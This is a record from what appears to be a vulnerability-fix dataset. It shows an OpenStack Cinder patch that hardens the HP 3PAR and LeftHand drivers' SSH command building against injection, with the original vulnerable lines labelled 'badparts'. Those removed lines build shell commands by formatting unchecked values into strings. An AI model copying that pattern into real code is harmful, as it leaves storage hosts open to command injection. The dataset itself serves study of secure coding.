N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n@@ -496,7 +489,7 @@ def get_ports(self):\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n@@ -510,7 +503,7 @@ def get_ports(self):\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n@@ -631,31 +624,27 @@ def _set_qos_rule(self, qos, vvs_name):\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n@@ -815,16 +804,16 @@ def create_volume(self, volume):\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n@@ -871,9 +860,9 @@ def _get_vvset_from_3par(self, volume_name):\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n@@ -1037,7 +1026,7 @@ def delete_snapshot(self, snapshot):\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list):\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_fc.py b/cinder/volume/drivers/san/hp/hp_3par_fc.py\nindex f9c46071b..f852f5a3c 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_fc.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_fc.py\n@@ -196,25 +196,31 @@ def terminate_connection(self, volume, connector, **kwargs):\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\nindex c0d2f9c36..3cd6bea78 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n@@ -261,17 +261,17 @@ def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n@@ -349,7 +349,7 @@ def _get_ip_using_nsp(self, nsp):\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n@@ -361,7 +361,7 @@ def _get_active_nsp(self, hostname):\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\ndiff --git a/cinder/volume/drivers/san/hp_lefthand.py b/cinder/volume/drivers/san/hp_lefthand.py\nindex 0a5d02f7c..7fea86a38 100644\n--- a/cinder/volume/drivers/san/hp_lefthand.py\n+++ b/cinder/volume/drivers/san/hp_lefthand.py\n@@ -59,12 +59,11 @@ def __init__(self, *args, **kwargs):\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "message": "", "files": {"/cinder/tests/test_hp3par.py": {"changes": [{"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n", "add": 4, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -add fakehost '", " '123456789012345 123456789054321')", " show_host_cmd = 'showhost -verbose fakehost'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',", " '123456789054321']", " show_host_cmd = ['showhost', '-verbose', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -add fakehost '", " 'iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',", " 'iqn.1993-08.org.debian:01:222']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -host fakehost'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'", " show_vlun_cmd = 'showvlun -a -host fakehost'", " show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']", " show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']", " show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_common.py": {"changes": [{"diff": "\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"setwsapi -sru high\", None)"], "goodparts": [" self._cli_run(['setwsapi', '-sru', 'high'])"]}, {"diff": "\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),", " None)"], "goodparts": [" self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])"]}, {"diff": "\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n", "add": 1, "remove": 10, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _cli_run(self, verb, cli_args):", " cli_arg_strings = []", " if cli_args:", " for k, v in cli_args.items():", " if k == '':", " cli_arg_strings.append(\" %s\" % k)", " else:", " cli_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cli_arg_strings)"], "goodparts": [" def _cli_run(self, cmd):"]}, {"diff": "\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _run_ssh(self, command, check_exit=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}, {"diff": "\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('removehost %s' % hostname, None)", " out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)"], "goodparts": [" self._cli_run(['removehost', hostname])", " out = self._cli_run(['createvlun', volume, 'auto', hostname])"]}, {"diff": "\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -verbose %s' % (hostname), None)"], "goodparts": [" out = self._cli_run(['showhost', '-verbose', hostname])"]}, {"diff": "\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport', None)"], "goodparts": [" out = self._cli_run(['showport'])"]}, {"diff": "\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport -iscsi', None)"], "goodparts": [" out = self._cli_run(['showport', '-iscsi'])"]}, {"diff": "\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" result = self._cli_run('showport -iscsiname', None)"], "goodparts": [" result = self._cli_run(['showport', '-iscsiname'])"]}, {"diff": "\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % 